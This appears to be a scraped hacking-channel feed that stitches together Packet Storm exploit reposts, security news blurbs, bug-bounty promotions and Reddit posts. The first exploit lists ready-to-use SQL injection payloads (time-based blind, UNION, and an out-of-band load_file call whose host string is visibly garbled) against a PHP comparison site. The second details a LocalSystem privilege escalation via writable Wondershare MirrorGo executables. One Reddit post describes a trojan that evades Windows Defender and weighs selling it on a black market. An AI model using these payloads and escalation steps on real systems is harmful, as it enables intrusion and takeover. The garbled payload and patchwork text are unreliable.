Exploit Collector
Simple Mobile Comparison Website 1.0 SQL Injection

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Simple Mobile Comparison Website version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7bc26129c74f96ccd5d7426b6c335f29

Download
# Title: Simple Mobile Comparison Website v1.0 - SQLi
# Author: nu11secur1ty
# Date: 02.23.2022
# Vendor: https://www.sourcecodester.com/users/tips23
# Software: https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html
# Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Simple-Mobile-Comparison-Website

## Description:
The `search` parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'
was submitted in the search parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
WARNING: If this is in some external domain, or some subdomain
redirection, or internal whatever, this will be extremely dangerous!

Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: search (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=218336'+(select
load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'')
AND (SELECT 2552 FROM (SELECT(SLEEP(3)))GbNG) AND ('HpeL'='HpeL

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=218336'+(select
load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'')
UNION ALL SELECT
NULL,NULL,CONCAT(0x716a717a71,0x735848694861555664694c6a6765425a746554476c705941525556624b5562576d4f646f6f674f55,0x717a787871),NULL,NULL,NULL,NULL,NULL--
-
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Simple-Mobile-Comparison-Website)

## Proof and Exploit:
[href](https://streamable.com/mtzocn)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Wondershare MirrorGo 2.0.11.346 Insecure File Permissions

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
Wondershare MirrorGo version 2.0.11.346 suffers from an insecure permissions vulnerability.

MD5 | bac69c6a7ca0ae79e37a8aa25fce27b8

Download
# Exploit Title: Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-23
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/mirror_go_full8050.exe
# Tested Version: 2.0.11.346
# Vulnerability Type: Local Privilege Escalation
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Privilege Escalation:

# Insecure folders permissions issue:

C:\>icacls "C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\*" | findstr /i "everyone" | findstr /i ".exe"
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\adb.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\BsSndRpt.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall32.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall64.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\MirrorGo.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe.config Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\unins000.exe Everyone:(I)(F)

# Service info:

C:\>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare Driver Install Service help
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A vulnerability was found in Wondershare MirrorGo 2.0.11.346. The Wondershare MirrorGo executable
"ElevationService.exe" has incorrect permissions, allowing a local unprivileged user to replace it
with a malicious file that will be executed with "LocalSystem" privileges.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Take part of our Bug Bounty Program ‍

As you well know Avacash.Finance is a fork of Tornado.cash in the Avalanche Blockchain, which means that we offer a fully decentralized…Continue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
SaaS in the Enterprise: The Good, the Bad, and the Unknown

SaaS offers many benefits to the enterprise, but security issues left unchecked can mitigate value.

Dark Reading: Attacks/Breaches
JupiterOne Unveils Starbase for Graph-Based Security

The open source asset management tool lets security analysts collect asset information all across the organization's digital operations and run queries to understand their relationships.

Dark Reading: Attacks/Breaches
Illusive Launches Identity Risk Management Platform

Illusive Spotlight automatically and continuously discovers and mitigates privileged identity risks, while Illusive Shadow protects against identity risks that can't be readily remediated.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Businesses Are at Significant Risk of Cybersecurity Breaches Due to Immature Security Hygiene and Posture Management Practices

Seven out of 10 organizations experienced a cyberattack that started through the exploit of unknown or poorly managed technology assets, according to Enterprise Strategy Group research.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to get started with CTF's?

Hello, I have just found out about Capture The Flag competitions, and that if you learn how to get good in CTF's, then you are a good cybersecurity expert, and you probably know how to use most of the tools used by hackers. So how can I get started in CTF's? Should I just hop into the competition right away to learn it? Or should I learn some things first?

submitted by /u/M3ther
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
All Google Products Scraped & Summarised

https://external-preview.redd.it/NiHmlADHPF3oUuYBZn1kcaDOiBNiqVPucR27Zauy6MM.jpg?width=640&crop=smart&auto=webp&s=dcb04359190df582894542748ef888b7f7aff5d5 submitted by /u/AfroBoyUg
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
2021 Ransomware Trends and Steps to Take to Improve Your Defenses Against Attacks.

submitted by /u/AdvertisingMajor6010
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is this exploit worth selling?

So I recently wrote my own malware which is essentially a Trojan that will allow remote code execution from a hacker. It’s able to bypass windows 10 built in security Windows Defender. I’ve tested this on a few different PC’s so far and the results are always the same, it always bypasses it. I’ve also got a neat little trick that can bypass browser warnings and Windows Smart Screen for a lack of digital signature. It’s obvious to say I don’t and won’t get a signature for this, and was having issues at first getting around the warnings from windows smart screen. However I found a way around that which was surprisingly simple and accidental, that completely avoids Smart Screen setting off with its big red warning and also any warning from the browser with that annoying note that ‘this application isn’t downloaded too often…’

Is it worth selling? I don’t mean to a black market (or maybe?) but something like hackerone by explaining exactly how it bypasses all these security features? Or some other alternative? I have a worry in the back of my head this either isn’t something worth giving away as it’s already ‘known’ about, which I don’t think it is as I discovered these on my own at least. Or I’m worried I’ll just get told the same thing above - that it’s worthless but then actually it ends up being patched up or distributed and sold elsewhere and I get scammed out of any reward. Or is a better way to just sell to a black market? Not really suggesting that, but wondering what I should do now with this exploit I have? This is my first exploit, so looking for advice on where to go from here?

submitted by /u/aidahadleyxoo
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Mars Protocol offers up to $1 million payout in bug bounty program with Immunefi

More than 20 contributors from around the world have spent nearly a year developing Mars from scratch in the Rust programming language…Continue reading on Medium »
Read more...

Take part of our Bug Bounty Program ‍

As you well know Avacash.Finance is a fork of Tornado.cash in the Avalanche Blockchain, which means that we offer a fully decentralized…Continue reading on Medium »
Read more...

Company wants me to perform a pen test as a contractor before they hire me
https://www.reddit.com/r/Pentesting/comments/t0ixjn/company_wants_me_to_perform_a_pen_test_as_a/

I work in the private sector cyber security field. I have a few years of pentesting experience in the past, but currently working as an auditor. A company I applied at wants me to run a pentest with them before they will send out a job offer. I get why they would. The target is one of their clients I don't want to be hit with legal issues should a target system go unstable or crash, scope creep, my ISP doesn't like it, etc. A VPN won't be offered, i'd be doing it from home outside of my 40 hour/wk job. The company said they would pay me, but I haven't heard how much. I feel like its a bad idea, thoughts? submitted by /u/Dknife (https://www.reddit.com/user/Dknife)
[link] (https://www.reddit.com/r/Pentesting/comments/t0ixjn/company_wants_me_to_perform_a_pen_test_as_a/) [comments] (https://www.reddit.com/r/Pentesting/comments/t0ixjn/company_wants_me_to_perform_a_pen_test_as_a/)

___________________________
@hacking_Attack
@Hacking_Video

https://preview.redd.it/c74o8kh9ntj81.jpg?width=640&crop=smart&auto=webp&s=7ac0c00f9006730c6c2a5f76c53869d718114934 submitted by /u/oMetadinha
[link] [comments]

Hacking on Medium
Shadow code, una amenaza a tener muy en cuenta

https://cdn-images-1.medium.com/max/1522/0*NoEtJXNMQxPue4XR
PUBLICADO EN 24 FEBRERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

How I Hacked the Dutch Government with SQLi and Won the Famous T-Shirt?

Hello, those who are at the computer day and night.Continue reading on Medium »
Read more...